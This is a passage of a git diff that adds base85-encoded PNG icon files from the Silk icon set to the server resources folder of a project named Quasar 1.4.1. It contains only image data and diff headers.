z3K)~8`*H_w9^uf5^9X)<39-6>(AOuJvu0IKc#FRkFoCa%ULtC>8v6bIR-H|{S~CWm zy|LB2yL+L!Vs5g8ONBz=aUzj0EX$JbfSV}a#vT*B_2)32Uc<0oLyzLS9V$=7hM4?~ znM@`|iEa~8)bZW?7q}d~l*7K(I`+@}grT|_=WaH**u tj~DMRZZpzVy^OjT85Vq(G=8XD@S91FH}kp`d7hyPh1 z5CCa%X>*RH50W(1GMNlqE*ChCgTvu4bCM)M5Co)BDTG2HvvyYjmSvI4<)A2v`CcxU zQ79BpEEdf*P56K_c;lUWy=bic9s#4IZm`yWps?HR<^;5uf_%3rLf1Uy7}ym7{u3SG zgQxL#;V@<+y-&7GK#MIB!!Xb^&5SuEhPoOV9{wDJpWonQN~qlHho`!h-y&cUDCjiw zot3{JSR;b3Z$U9V2&bDtVsaL$Qu?FFtIb;kXm<)qqyl<=9Kq@&_)r^^)N|OJWjH)_ za7i;6X_aj`duRB^h5&`toyKA^3V-E1_yb`=eg>PPj8Y+p^vFkpk)_tg?(s>=HO~R< zNVkfdL~{$}rBQI|9QHR{MrpYhcBg@2p$?h%pAnUsbBDUeKUv#oTc6-&EEZdf$Kwze zM&QwZLDd6D&pd?=1#1F{N2f6?Hf8gwvt`>|pf)ft5F|nm_AI~XywcT&?}K--v^WN? z_7vo-s3)9F{TXfF{hpqll^q2vdwBb}datvKg-yfc+gC^|#8-K5)%lB$rlxi}-rEGO xUZ|2A>wRp~(I5;*aZFyx-fDe3J-^%i_y?+(!m^mX(n$aS002ovPDHLkV1gwlT*CkW literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png new file mode 100755 index 0000000000000000000000000000000000000000..578221aaab1c7f6f1f5f9eb4adf02aaad93bf407 GIT binary patch literal 682 zcmV;b0#*HqP)87 z5D7ClS`>i>siY*D_Hz7r-uLe7+&8^)8l^=KKF+=8o%5aVo_ns%Fbw?9=NR3j(`lIq z&l4_j&X15iM4%;qPxcepJA`yB7SpX9o27t~=V*Q3@ApT8!5};y58Q4y#D7Im(CKtg zsZ`KtG+vYMVmuzNnu#JnAeBlzFPF=roH6NRj2XFH&PXPcD^{M}l0uuKfk5D&XAXrz zpdx3t^?;lvW4&I7%jJSB%WyiKrmxrQq19@kTCE}+4x6zP2^(duC2SE#)bB9=iVf68`kSQeakO%!CNk8ZR-m z?*w*FFTmM-3w@)sMZq=#Gl@t{bZZ!XeF5)YAM_uOFn#O_`sF9!I-5*jRo65I^~*E( zBNu?dI#%!A!!BPRgIX3|y(Et%5U{H2%16kyA-q#PaP>1aiIe;_%$~lEAY1pW-a6^s zLLj7ztD;GSyh8%7JcV!OIC$?J<@T`{kAM$r)ZhXRM9)c@I=uF`f~8C*(=8T@aDLBH z?I;- zi%TAvMLVRO5!65AQFy%kz&7qVzqz^CG<5E!W7`eUT(0v?OSAIJVzcSlpH|(e&rbmL QkpKVy07*qoM6N<$f|gM=-T(jq literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png new file mode 100755 index 0000000000000000000000000000000000000000..76831f9451ec1e89a0186754e732f2ab08f126aa GIT binary patch literal 415 zcmV;Q0bu@#P)tK9uP)JJ|rV9_`6YXYXcf42mVceX;N~r>DLF z9zOn@k|arzBrkfyRGU4c>+hFP*|&0tGt{!YG|5fRw@-UpUxK})gOY{KjH!sGG4?RHzSe!mY<6j86&kw_%0+>rt+UvTG zPNxG!QLHl_`>TN6lhf(69Pnfg>e~`ot!6OL_K}%<0mC@>2*2;ZcEFQ4iGwF{@R*{j z7!M|qd3hZgQye2(un7;}EWl(MRHj3v{mH--l93DO%KKRTaX^3MX`58z^<+{ z6<23&!!Q{PW`ItyBW>gC_$Bnz0p8cvrP&8U;E(_Zug)QpWlpZPzmjE&ksHm>&{4WL zcWMqjtuMUYDzy&;xOM)i=ubqW(I5dCx}hU{e1gb^CAKTo5EzT#!}bO?zL#36j`?8+ z3*~b8c`}*w$6_%IbOkHrWx4~^auW|u<6?Xs@2VxNZ5G?Ij>|hs<|oJSYs}?xlO%MH zkQM~t1b+*>9q#P0c*i_HG3Qv{e6_1E^9qr_9C}QDj%+r2jL4@6j4t)_BWY1InA104 gM*QcJxn<}50%n)c1HutrKL7v#07*qoM6N<$f)5Qpt^fc4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png new file mode 100755 index 0000000000000000000000000000000000000000..333414767983f2db7c3d182cd6b4966cd136a255 GIT binary patch literal 764 zcmV8(Zs~5pkxC`Czx(!Sg&Qcw=J& zxm*s3L;~q_`XljO2nK`6ZG=!LG!>7>X*g{!E0s!GG#b@LMn(oHxKb?nwAIwq;D1(M zUk?)G%uc_FICawM>MCqD8?06<%x1Ih6Gai3Oa{qh5=~7_6o5SeCX)%-Y!;H

    )MG+r&du`yP}}ZLJvbw^x(mR;6BNh>hu@++lBNk%}Ml69boS(bA<2$cB@7|GY&ZL_nTv=X48^gKW54ulJrmgw)_&D2zm?%kajBixl~BYoS>4p%7ipT`%38~|!^bB+eQ2Qfxolq#ZHXrKb~^msdlMIlH#M@heuHzfxl^CL z`O+am4xwj{eX%Rqo_MM&oy0egXy9K`?JX=UZ_v@6B$`MK^C#!gBPUd?xOp<$+Z9K- zpd4D`ihnAWr>R!QIh%hCiGI-W_=}_85Q;2KpXB^6<#+e($*9$`p{+SaU%CND@t2A3 zPq0`#%_I8#pFz$THQw*!3zwP>PI|t zXcXfZ?%O%S>C2xpbnh@rSHC>$5YjLeVwVg#)<)<*g1*An@{G(Q%mI6CqnV_&~OJkmg@ z?h^WW?$Sc_=2|uyZ$^wpM3BH>wU1~^qZ(x9;xxkp5A#)SoS1T%nma@29c8WMzZiPu m_A%gPpas|h#%JCx9Q^~phlb=fp|aZm00006nP)PbXFR2Uhh z!AoddWf*|r_dn-MGD#-Mq%)JGILTy6NmJ_$#Y+{mUWy`aDikW>x~QO7UAQc$#S3&< z(XC)z=%Ugf79+LBS`BSN(=@Sd+6LNOnoC2H&Y5%0|9_toP!Zh-K95mV{*U1K_xiKN zeCCIi#=0VEKn16YOA?|eAxRSAYD5%8*f7FXL*lT?^8C%|sqxEC1*P`p(e2y1isgJigGWa?O4SfNyG!-`;x!R-I+qW86p9^wU4xmvIL`F!BC&N?>u^p;9PE7j0XE;hNhZfu zM`u=7NO0;Gg+0yRucb^_e{_{5#xQe#w=w>~}Lp1i-;n_E@Noy|P5IYZ#_mup83 zv2^k@miE{7#oA&c7Z|Q;o%&Sy*Or<`&f`&%miM!fK3lLXC}zv&wRH8x2|oDf^f#N}%^QLGijDb@-tYd1)Dmf_ib{3+PK z5noJCKutA{3B#DKd_B$vh$`X)Yb~lN!sZ;6k$#%KeuXHUr2?$3_&A^GfSM~K=O!vQ z=KE6VCd64p1W6ofW5g<{><;oj4^qlC5cnxp=Pg&}JXPe7QC0qnpZ0XWeQRlYukTFB i`FdU9Q&w(ib0000XWdO#1@0TxW)27YRHjOiB({#fm&N=PyFqwyo$v{-tKv9?%^TG?oEBylm5q6^& zI`G1Z;6MtBpi~)Nw5g6VS+!x=%-Yg*#hRo!H7#kr~q z`sw$++m{#$&Gq*L5_keUh4eh6<6v11j^kjP7M5k<8Wz$tunm(|ZL73iym>-T4)+y~ z9U4ibVgmrE+l{31P|DjglM1Okq?AbI;Yi7^`QHX|)=p865B4UaJwBG#E4WhfOW_ue z9?fuNahV718^v`Li`QtlL!;NYkx!+VlUP26Exe3jw|R$Kh2KA z%;goNR47lwCWs{hH0nDf6A@gc5JDi{xiIf(u7RdJgy!SeM4Bx-fK=-C3~;5wRf?pX zB~h8i7dp&teU2{|Oop-X-?KBx5Zx=-}qqqi%0HHy_^|O5)So{9@g%l>Xg67XkMW&JVA4HiSXb7 z0)4|2XFoS}fEV8VW;7cQpNd5Xu_c7M{^o4ff5d8DCNh2!t2{-ZN3fp1fn(YY(`Y}Y zJ@wXci_)`0$6|)I)E6y{zTl zf62>aQ%58FB9vPWQYnIdL8bUDJHKBfeDHb9KR!nDJJ>s8l;-lxhF)jINF4{z0ZdzI z<$8#>99`e>j`M^IP*qwRZN|b60Qv*PZ_aypNJ1 T>j+0@00000NkvXXu0mjfM)Ra; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png new file mode 100755 index 0000000000000000000000000000000000000000..d3ec3a110d943808070c97d392ffdf5ab5f2d617 GIT binary patch literal 884 zcmV-)1B?8LP)=Tne){d{WWFc< zLn7LqM=emnsA7B{*Y)vzAFt`+x-Nm^Vww(~)12U`@&4lyxWV%KZOh+sq!fxrlX2#IimnVEUqy()p{ zvvsRZsIxSAJ#O!fM>}X_bD3BsleKYe)La(V7mOI11W(tF>0I{sk)nZf&t9EwLNWo-^f;Bf2G8^p5XEUs=cUmKx3zc~Hb zxfh?H#ir%-TVM5dC*!AbnQlA-@eck`TbrgcJxt>82&w&93JHg{c+VsJ%|7|c=a#cm zJ3rW;i(rMpvPncN4tRHOQmstU)sw{3rzkx19C>Gkz9aF}*rTt#PK$lv-Dh=hsDCV# zOtD$>F(P!fS)j_+(if!fe-fIPx%AN|#FGxOTA5<3Mprs{nwBsvO;7C2?HboN_i4I4 z%*#ik|jeS9N$LBR6rP44VBIi}x{ z>>WlLS5a{od!~eVw~0h596d3~V}*^QwAi#XJrBq6DD-qt%tV+-EKnL4CEB%(234>^ zl)tP1f;1~+28xU(S3*CYJ^p~Dsyu$?ou%Bpxxuzb3^4&Oq+5Y}}oq6n&8)ZMOv z$RfH4+FeEsZ7w%8oE_1rJ8M&$Q#W7E`M><0=jjN$2)YUSd^|Jb|L|Y<;Cx-SDg8@L zsyvH%V2YR_aZDJ-#Bod%goI&;D~3o=Bq|2nUENs9=N6vzJDRJfjvj2wcD6LIOU>9N zYN#4whKM3+hzO!aEW-HY9}Pc;n>qi%#;R;4m1H)*f)nA&)OGqF>t$?WmO~G><6>pv z>UH}1_Axv>Mcck+M3kOvEt%H6^}gqUno*YYSl?C(&Z8h@tQTT_8l6K#QA-d}N$8cc zc4w20Y&}jD&-3u!{qk2!xFQKPyhM_tkM3t9Do0ciHB`Zg;#8^e3k(g75pJ*HqL|fN zoA{Te^RM(~?4!oos$?dUZAq3_dP{RTmR8n?oZy@wqQn9xpLv4r16?{ly*0JGwW-%~ zzn%5Wj9qV@{bBIPBb_hxc6CsjPO-l^!9TtA)p3G&o9@)7OpMK(|N7(CpQ9u}$&2rQ z-`-f4e!eBsNF zGe@M3$T=RU@20Qy2wTApzZXx}9X>Jo-sPds&Uj|V+vhIGiN|{qe{C6^t<@asPBSpr z&&h+YBBqE6im`Ip6>xUkNrB#1PzeCICn%R2;N6GNlZ1R5cx)W)^NDY6N8gP8=;Y?Kl<0l;wLjXh^p* z{^tmzv*T7Y4*Qe@QADvA(blvFaXxCst<{h(E`CC!5rK<%sObRxU8fk!4>NLYjOMwQ z&38=AGoD(00000NkvXXu0mjffn24? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png new file mode 100755 index 0000000000000000000000000000000000000000..cef5dec4e701270adfa86efa01e31106743e40cd GIT binary patch literal 881 zcmV-%1CIQOP){5M;315b@&8vmiw;+euIl zf--d?USyksqoac%ePLU-rfb@)Z>($Qnzm`1=E?K&|NYDk1CibQd@NPv|8U+NzS5Fu zZ@k_dk7ZB`R4}TTAi(nif*`=JdU&2k=z5r{i|hhFT;^d4yC z2~p(sJA=obhafj>3D?sl}CieaC3T@{V2mJY z$F(vwLMieOn5)~6T#Qag09MX~G%Lr44A_G1_kj3^=y8X**+*{LuxGKp8- zB=iF|9`53d&#auuruB=qWFnGIXAVSS4c1y=mbFKl_@N;T4aNweQO;!ZeE7l=lS}mv zt}JGX_h%>0qpGMXADz4O)Av_%I=--{`M-_+*X18R*W&oc8tjeh^6#hpo5P3SR#hxj z<-N~->+bJN&Yc*{)+geP^mfGQOxirPbMIID;w4f8r`TUzAlwsn?%%Dh8QsfT zc4hzS8^`;4;_)V8u^2sVQR*Cvr*?7|Xc>47aq~EdPQ>4(C3`R$DQ%y$N6)>l+5XvzFFbD{Y;D;gk#Z`6ebz{8z>M7L! z6U*#z=W+#8-X&(+e48H#zxnyQiw-qa-^X=*y4ve7p@XRMy5{IR@eY3RD;y_D?wZf_ z{kN#JAH}V>6x>@vjYG}SR4!k6ypfI8ClC`NA`Be~up$qM)TNpFV}~E_zQhAfB839g za+$}gt6x%MsVdJhasJqFV{7VcWozG^pWpc8^w;yh@C^R|1}DVPjf76&ul|g18afxD<+D5$i%kT?-B% zh@vP$#cHiX>433~qz+9mKZ!}K#5BpDef?HZT>9a0-hb~7=iYN4(KHSJ^Rb<$@7Hi{ z+rR>giGxM}O@%^(Dv|_2kRVYMD+1jMkjny;N*Q9gf^XRwJ|6wJjSbYC%HKs{XGiijES+(ecUJCqg00Hn^;u$HE{MPeY~`BavyWTNT3aSPUzc zErKkm7<)U7*4D)s9E@P$;yOLx63zinz0b)K@-wTEA^2KUQIZKtiVz0RhelSye%(GdXp2NHfS~7$`MjV6c8=5Hq5QQdQ^60A;4?4hz^4`um3= z6!VZp3E5-;?5m0Rp^!&A<8oLTkB9RzrfR}ZMZu@@5M>22U2`lX1=zlI4O-fo)DIKi zBdPBN^?mepANeKYvA%oP)-G=hhnfO#*enRv8UB*%%Dp$JvQ#6R%V1n9$j5sa8%KT#rtVSKZ2$&&i&!z57YeEUS@je7Df|=%WcgZNzMqE z7`%(}Od8>E7=FJWcDo$|0|Uq;KcREaPBb?+!R@LA%T!vD$)u5;qfrr6Ln`+TFP{&= zS((P}g9mW3rw`fqB>X-f+S}Xlg-_so-#PH96x>`8hYxljkw_fT1ITn-CEDrS=NKIn zyIz~QWd};{#?al}t(Q_P7Lm-A!`Bp}6q7M?wO`icDcoP)t23;DWi@b-gt_nl^)UF00000NkvXXu0mjf%`2aJ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png new file mode 100755 index 0000000000000000000000000000000000000000..1738a4f1061e2d50eec37aaca71fc4506daf737b GIT binary patch literal 696 zcmV;p0!RIcP)H`oW|{1}@v@LQ05MEhB<# z<4=>;WR@@@AqLtaC!HVPednGQ<4lg$g~L5?&-dMX?!97W^xd6Eo$oxkoJ>mN{Nh?T zKGK`#ALG)s`^~4%wdc0Bisi*@repfmSR`f!P$zkx{T@z?_SH!)UcKGidA1{0C>G0$ zA7?uRzSSI_Ih89GO69MgXFKNKK98zQ zodDp<&Bv*(&J#KH@!=2Cb72$}=}dR!3fra9w=bFS)4LbZ-g+@J1_uWp0QaggGoz)Y zB>|wSc<)(XUsp53%urPdg~G$}@$up0E-(~ceR!Hy^s(H0Oy=QCCAKYOhW5XAsPII%aO9W8L<_45+Wpm z3J{2(s?-F|Ih+_O=Jc>IDrA4Q#$1Wo2cBk)48vLrVrKOB_giagE2{e6@ZQ&E?>*UUmP{riNq~)w4Hgy_YKz``%3%#1@% zpUUhS8NL$7k~=>;Umibxu+IO)Jr6uPwBy#T)kdS0%uY|1CO$ivikSgykbFP=Yx&fP zLmMRfM~@7R+)}DGTdidF!nxAqmv5&4eF4BjPra3?Y~6ANv)tLUv*i!pI9vy~`@ScJ z$~(7JTg`Uz)1`Bz^WVIit}`110QW!gN@n{=p{k)f@WaGZIZa!PRJK=}tL^sBGn3_u z-@TXqvtP`Nv9Yn|fM?caW=1}rj{sDa5CV&fi)v<=8LCRN*?fL{eEe9v1{^Iv_=5cV zXl9@WAsC^p(fo?1tzf|N$%99MV-8?&a8UBs2~PeCchy*^d#=_!-5^8)4)ER!^lHqE zTnsmE7Gie|PEzG+Ev1nLA`v3j1Dpt|N?+i;$7>I~J|~Fu;6GNoSYQnn9D)H}f4Zq|7y4@}vHPWuJni?8OzpbL7CAy!iRU5wxN!S n4dUShi40T0&u5wX=ok4L@Mn!_V?Zap00000NkvXXu0mjfm9%nh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..b9a58602519e2274883b9a0175b68dba4904b063 GIT binary patch literal 810 zcmV+_1J(SAP)HO)t@7&{J%4pS_+?(Ixe&5MCN6d@^ zZ=Oj#IkaObiX?q$@n&J-*uEXxuQ^kQtmM}|CPcIg}_;{=eF!I8| z-ooRLl^XSC>z6AtgO@Ixjqfv?1OR(qJ&_t7%9Ye7JwHv&72>$TP;t0aUu!mh{du-9 zfAL)W&;Md(jE|4M1H5%#W@cow*$_Zg@!nG|m(|QLGgOs&z5edR#Ke(k12|lG={@=P z(9A#$yf=JP!<+XUO$7t)p5AvDI1&J4G8xHk5d!%yoTzcD>R72d5-)@T0pOeyXlKlf zbOe1{g(&zNZpF$nDjk7y4ySE!TUrol!*|va%(DRt0YV@`U~~i# zKpe-!9@way5~JEuKoBtkVEF1u`sY6)RW4EM%`x3Z+pntP6ug0YPtAEUsQ{-&5I|x6 z6i@$go?ZK2p}T)K&4q8+adDE#JzcK{07;Utu11^~Yq6oe-Dg(_Wz^~Qb2}z>u+u_)-Ebb7&PWv03^l>Tc;N2ur2G2e`LWKHqN6!NFFPZE?(S|X zlgC+JUgp@fYmDXdIOix9i(H+XW29#*jmuxL<;&MtZ{DT>)b537$gQZe1?R}+a=f3- z@~A4RN~KaEpU-onw#Jnoz9YZAhbZi#b|>L_Il%BAikUGwI%=z{t9b7_*UUEMXCG?t ol&tVD34apuef>c`n7S>00b`kqs~MqiE&u=k07*qoM6N<$f?b+?G5`Po literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png new file mode 100755 index 0000000000000000000000000000000000000000..57beb3813973e69f535a822c2f0424fa9f560303 GIT binary patch literal 234 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%s@pN$v(Kw&{=X`^_fnmU^23D6T z|NkHVz|K?O{7~QE-_Z@zCpI>Iv^P{UFnE&ke;(6i-d4-w%bHR;j1|AyZ#v6S(amDc zlKy{I(;D%Nuye{ncOLwezxwWez>k>{<_3S*oiFG7{Xgq}=)co{r~lFaH2=T-_xf)+ f9X!fMH*zv8ak(u6{1-oD!MC#5QQ<|d}62BjvZR2H60wE-$h_H=O!(Kw&{=X`^_fnmU^23D6T z|NkHVz|K?O{7~QE-_Z@zCpI>Iv^P`}`P2Tg^+n4;W0%&Nn`h_oB zXMCTNA-w1R;@9m5&b!P``2Amf(pd!#&g=F^W;hsZV)z*wDqmKyKNDyjgQu&X%Q~lo FCIDq2QD*=E literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png new file mode 100755 index 0000000000000000000000000000000000000000..6c8fcc1165a433617355ac5e182d015b389e9296 GIT binary patch literal 209 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$h_H=O!(Kw&{=X`^_fnmU^23D6T z|NkHVz|K?O{7~QE-_Z@zCpI>Iv^P`}`P2Tg^~Il~8@dITHCPA-{a3!-)3Cjx%=yXx z_>8LclV7mqn+PY^{qor&o%8>H%d3``{~Y#6bGV5yoI2touNPXs5@;QRr>mdKI;Vst E04%Lf&j0`b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png new file mode 100755 index 0000000000000000000000000000000000000000..a1502571c99fb92b1579c3658bcc50c5976b8e7d GIT binary patch literal 209 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$h_H=O!(Kw&{=X`^_fnmU^23D6T z|NkHVz|K?O{7~QE-_Z@zCpI>Iv^P|9aJcmUe!yIVina{lp#RFZdm6TTlr;aYZ;9)u zJl|<{@VEV{yZaY@Fz(E|@awC#5QQ<|d}62BjvZR2H60wE-$x=jq}YqH%ujg@wF_4MbQj@OPa$ z#N&HdE16k1*nCBr=}I0g*DjHSSAtwt4sItn>RWmQ;^L}U19^Fv7BBYSby+aOzJ$YL zj>TS~{$Ts#`4N9lZ=Cye$+c~_4@}ZK$@9WkqvnrvN~H0Mvqt#~n0udf&TzD|;=Hs* zf<-9y=7rhpPXE4ZZ~ z&ww8?P)k91LizcU{{`=}>r>Y!ypNn8EP!D`aee0htoy#9{`J299l;8;1=RlQ{ueJmQ{Yw)v>9r&%zw@Q0`+JLZ0jBV>w`TfU7+%x z|2>xiiUOMill8j$)%MHxOZE%z=k4cIpn6>3h5$-h{CX3R^C#5QQ<|d}62BjvZR2H60wE-&X@N{tu(Kw&{=X`^_fnmU^23D6T z|NkHVz|OPW*vP=;@BgD8WzABvu@M{$HPs!^U|F=gR-} z&AETiZeUz-oG szv_+eu)PvwoyEX;-Tuf72ZK!v%2xjJ(h^EWKsPaXy85}Sb4q9e0Nid~c>n+a literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png new file mode 100755 index 0000000000000000000000000000000000000000..dd65786a7be028fccac7dd336804281596643f66 GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`Ea{HEjtmUzPnffIy#(?lOI#yL zg7ec#$`gxH85~pclTsBta}(23gHjVyDhp4h+5i=u@pN$vu{fRl=l_3uX4QtyMyG~E z2bbS{CJJSW*BHcfl8hTG_(hr>Lqe|nkKbQs_~+l>*^DmDAMWj~mUJxYIg!Y)N!CM> z*|4K5Ht^-f_7L$FCexixdjt52Tl@RZ*Uva>Q1k4JWQaI}X)BZFgk#kXYh2c7M=Y2% zb%9wMqv@UIPmXLQ3>!P=&XsNB&bzy-Rg&!qLxqHkn_JS2roP0D42$O5*ZZZ4S5#O3 zS5L7v`uFFj@zmIa?CjtFpP!!}@t6B>{l7ns$F3AI9^EO(U@`aN<^{{<{s#Js!PC{x JWt~$(695Iyd-ebT literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png new file mode 100755 index 0000000000000000000000000000000000000000..9c122e91e358860733eaf08fd543e5fc585d4cfd GIT binary patch literal 276 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$x=IP=XqH%ujg^j!|20W|*-XbO@ zAtBSd^khRzd{=pNv@vN)9uZDqGTXuVPf6#I=?;x2B`Y;1YQMI>>GxvE??vtn{c>{A z7MYxUVrui2JTF|YR&ldntL8M3{q7no52$4`vIX;r@S8@YTFOM5*~nV4Gk-UYI5L$} zDw(h9UDksmVjphbEsSQ?UdGUxU4Htk{EZoY&3@-Y5*_;Wwk`ZAkg@!FaC~ii{N>;; VD%(>GD}XL$@O1TaS?83{1OVXtVO9VD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png new file mode 100755 index 0000000000000000000000000000000000000000..ab10e73b6a0e0682cc52c8939a6297c39c959ef3 GIT binary patch literal 251 zcmVST5CzbaC}{+X;4t`=I&Wd1Cne=vL$pVO;{m%jP^>Ds)RXu;xTqo+xQ{^N$z-s0CvNlyPA4C@F4 z?p!pX90_Qlb^~V8P>|u9!j}kd&sz+duRHbm`~YAI>yCB;Yw!R7002ovPDHLkV1kDg BWKaMA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png new file mode 100755 index 0000000000000000000000000000000000000000..7c7ca64bc81b28268ff4c4a8a51458ce85f16a0c GIT binary patch literal 253 zcmVtV*3aS0arngK?9>U{8<vX7!ez?v zw;!iCP<#$w0c%-hm1R@R+bBt58A5n^anrG|a*=C#5QQ<|d}62BjvZR2H60wE-&H?&;zfqH%ujg^j$;1_G=B-XbO( zon2btF4r#xDw?mmvtwaL3R_~+Yz66*rrQmiHySwec#9a-mn?F*9`VcnzTNDrbNY9( zxOA;CUb9S|sk-b7=Pc<<>lMA8+|AaBj(NoLhh2`-;+F zenR#-z6;(Syt?;Ub#DVE_OC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png new file mode 100755 index 0000000000000000000000000000000000000000..30cabebf7445e168a0f31b0ed68c43d54eaf017d GIT binary patch literal 304 zcmV-00nh%4P)ZVg9Hj*!Zw zxkAM~zCH&l><=6QeDdgV4l9hop+%GWq_IPV?Z641X8iiHrWJUN^2}hSiGjhsfbOLp z?d`9_MC0P3jVAVsEmgD=tu`%#m=S$Y7joV6ZE=3RHnBxDHgobg&g{BfpKgV8y~F z4$V*B{22y{IgsB}&*83OCq4b1e-k7kT<9fePO`vDvh*6$@_#1nH@8 zcPno<+&DkR6jMn3c(jMWg~E zLjhL4*!fS^L*+k+K>;M1%BPZQ$+whW;lT%Po z5JE~zORK7?8Wc{`_S*-82=xU%$9g2A#pX@0imSpgr8eV7@X<`ESd@hj-gS^j5B%L0tAu+-mV YJhanDC&4#N9B43ur>mdKI;Vst07L(G)c^nh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png new file mode 100755 index 0000000000000000000000000000000000000000..9364532344e4b182fc286c4ad78c738533335d73 GIT binary patch literal 353 zcmV-n0iOPeP)A?80v9Z^YZA8as&YaOiG2qAVzYLj+o?N|k`)kPFX7%epMT)pIgD?z$ zz0k7x#eWfQHil2%e>0rE^YzTbTVLW%P1UySD{rve8ZZphV4}^gtsg#oV8j^<1D2Tp2_^}JGDwbz00000NkvXXu0mjfU=gFa literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png new file mode 100755 index 0000000000000000000000000000000000000000..1651b074ebe5f830c23c909d04ed3282cb8892aa GIT binary patch literal 351 zcmV-l0igbgP)$KO_&&&86Lj*&d?hr!$_C#5QQ<|d}62BjvZR2H60wE-$B^mK6y(Kw&{<9vg>Q9!g~ne(gm zmj4swoA@7?D86%i^8WzK9JM17E&sp&Z#dpHfz$E-U9ks&4?Z9Gyg!%0k2Q{M-Tz#> z2OnD>vrPZ*#{EHKLq)>Jcx{H|Ovdb&|4aQZWSipI{El%e^Cxx{^9vSw28s;a3IDB= TS1%U=TF&6<>gTe~DWM4fm>N^1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png new file mode 100755 index 0000000000000000000000000000000000000000..377def645978fa0172693189c69393137030dff1 GIT binary patch literal 495 zcmVn~4Xim_?2SqtKIRdGvsr_+rar?uY zI#~heudl+IuL_?2zxRcWA;4J<4y{sW!t08%R{DH(tg2Ko8<0hyVZ0w6Zf z$@_zYgZG2j_T|^w9V@O*gF1P?yuAE;adB}40RaIA6a&)J(*qI`5*#8TA{+t&0usEv zz5fH9>|maANho&4y;law=T(4CPEb}>{?Et9Hy}KD6(BY@H}`!uHa3*N1Ub0?=w!H`EG;b+3=9nFfljUmI@v)x_6(<2Hrh002ovPDHLkV1nwT$M^sM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png new file mode 100755 index 0000000000000000000000000000000000000000..5075ec6b850079097edb17cf4ab7507341751067 GIT binary patch literal 541 zcmV+&0^H(oRrRq(~AWF-B$wEEF_5P#dC*3bGSjS@Q@3 zQei_)I)gLJNbX1Y+g)hTjNKG;v2HedeS80F@f!fZ@EaNa9MBsQi^ldO^2n-_SKE}$nU7=6ST zj%A^9DHM*qLw7)k76O>v zuTf7_`5Xah0F7>*TE5D_Ohm>%WPlxq5|oWTQo1!ZFY##ULV=nYZt%OgV(e+qc_c%% z{Tb=j*d0hQ#As@8^JsiOjVq@T`KroCpN#z>0aw`)sMPvks&{eP44e@es_f5n<#dAT zSWmKTzGS}67BA0|aM=<|oGKoO)7DK9Gyunu1hxYSrcfFtiN^QR`AZ|)A`B5(w?wcI 